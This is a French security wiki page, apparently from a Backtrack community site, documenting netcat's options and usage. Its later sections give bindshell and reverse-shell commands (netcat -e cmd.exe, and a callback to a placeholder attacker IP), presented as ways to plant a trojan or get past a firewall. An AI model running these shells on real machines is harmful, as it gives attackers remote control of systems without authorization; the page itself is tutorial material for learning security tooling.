Netcat

De Backtrack-fr

Sommaire

Introduction

Wikipidia : Netcat est un utilitaire permettant d'ouvrir des connexions réseau, que ce soit UDP ou TCP. Il est conçu pour être incorporé aisément dans un large panel d'applications. En raison de sa polyvalence, netcat est aussi appelé le « couteau suisse TCP/IP ». Il existe sur plusieurs systèmes d'exploitation et s'utilise en ligne de commande.

Il peut être utilisé pour connaître l'état des ports à la façon d'un scan de ports. Les paramètres peuvent comprendre une plage de ports et une variation aléatoire plutôt qu'un scan d'ordre décroissant par défaut. Il existe aussi une option qui permet d'envoyer des packets source-routed, des packets qui sont envoyés via des routers dont on spécifie les IPs.

Usage

 Se connecter à un serveur(mode client) :  nc [-options] hostname port[s] [ports] ...
 Attendre les connections(mode serveur) :  nc -l -p port [-options] [hostname] [port]
 Se connecter via tunnel(mode client):   netcat -L hostname:port -p port [options]

Options

 -c, --close                close connection on EOF from stdin
 -e, --exec=PROGRAM         program to exec after connect
 -g, --gateway=LIST         source-routing hop point[s], up to 8
 -G, --pointer=NUM          source-routing pointer: 4, 8, 12, ...
 -h, --help                 display this help and exit
 -i, --interval=SECS        delay interval for lines sent, ports scanned
 -l, --listen               listen mode, for inbound connects
 -L, --tunnel=ADDRESS:PORT  forward local port to remote address
 -n, --dont-resolve         numeric-only IP addresses, no DNS
 -o, --output=FILE          output hexdump traffic to FILE (implies -x)
 -p, --local-port=NUM       local port number
 -r, --randomize            randomize local and remote ports
 -s, --source=ADDRESS       local source address (ip or hostname)
 -E, --tls                  use tls
 -f, --cafile=FILE          CA certificate file to auth the peer
 -F, --capath=PATH          CA certificate dir to auth the peer
 -K, --dontcheckhost        don't check hostname with certificate data
 -R, --cert=FILE            use certificate file (listen mode)
 -k, --key=FILE             use private key (listen mode)
 -t, --tcp                  TCP mode (default)
 -T, --telnet               answer using TELNET negotiation
 -u, --udp                  UDP mode
 -v, --verbose              verbose (use twice to be more verbose)
 -V, --version              output version information and exit
 -x, --hexdump              hexdump incoming and outgoing traffic
 -w, --wait=SECS            timeout for connects and final net reads
 -z, --zero                 zero-I/O mode (used for scanning)

Remote port number can also be specified as range. Example: '1-1024'

Exemples

Se connecter sur le port 80 d'un serveur web local(192.168.1.14), en activant le mode verbose :

 $ netcat -v  192.168.1.14 80
Netcat : Bindshell

Vous pouvez mettre en place un Bindshell(Attacher un shell à netcat) pour s'en servir par exemple comme trojan. Image que l'on met netcat en écoute(sur le port 59330), sur un ordinateur cible (du type Microsoft Windows), auquel on relie un terminal(cmd.exe) :

 netcat -lvvp 59330 -e cmd.exe

Il suffira alors de se connecter sur le serveur, et taper des commandes, exactement comme si nous étions sur la machine cible. Dans le screen suivant, vous voyez le serveur écouter sur le port 59330, en y attachant un shell(ici sous linux : /bin/sh). Le client se connecte, et lance la commande ls, ce qui liste évidemment les fichiers.

Netcat bindshell.png

Netcat : Reverse-shell

Imaginez maintenant le scénario inverse. Vous voulez toujours établir un shell, mais pour une raison x ou y, vous ne pouvez mettre de serveur en écoute sur la machine cible(Par exemple à cause d'un firewall qui refuse les paquets entrants), la solution est alors d'établir un Reverse-Shell. C'est à dire que le serveur ce sera vous, et le client la machine cible. Sur la machine cible on lancera une commande de type :

 netcat -vv xxx.xxx.xxx.xxx yyyyy -e SHELL

Où l'ensemble des x définit votre adresse IP, et les y le port sur lequel vous avez mis le serveur. Evidemment, pour avoir le shell, il faut préciser l'option '-e, suivit du chemin vers le shell.

Dans l'exemple suivant, nous avons créés un serveur en écoute sur le port 59330 en local, et un client se connecte, vous pourrez remarquer que le serveur dispose d'un shell(la commande ls est utilisé).

Netcat reverseshell.png

Les notions de bindshell et revershell reviennent souvent dans le monde de la sécurité, notamment dans le domaine des exploits, où les shellcodes établissent la pluspart du temps un reverse shell pour contrer la restriction d'un réseau(Celà est relatif en fonction des règles du Firewall).

Voir aussi

  • Cryptcat Préférer Cryptcat à Netcat.

Références

Outils personnels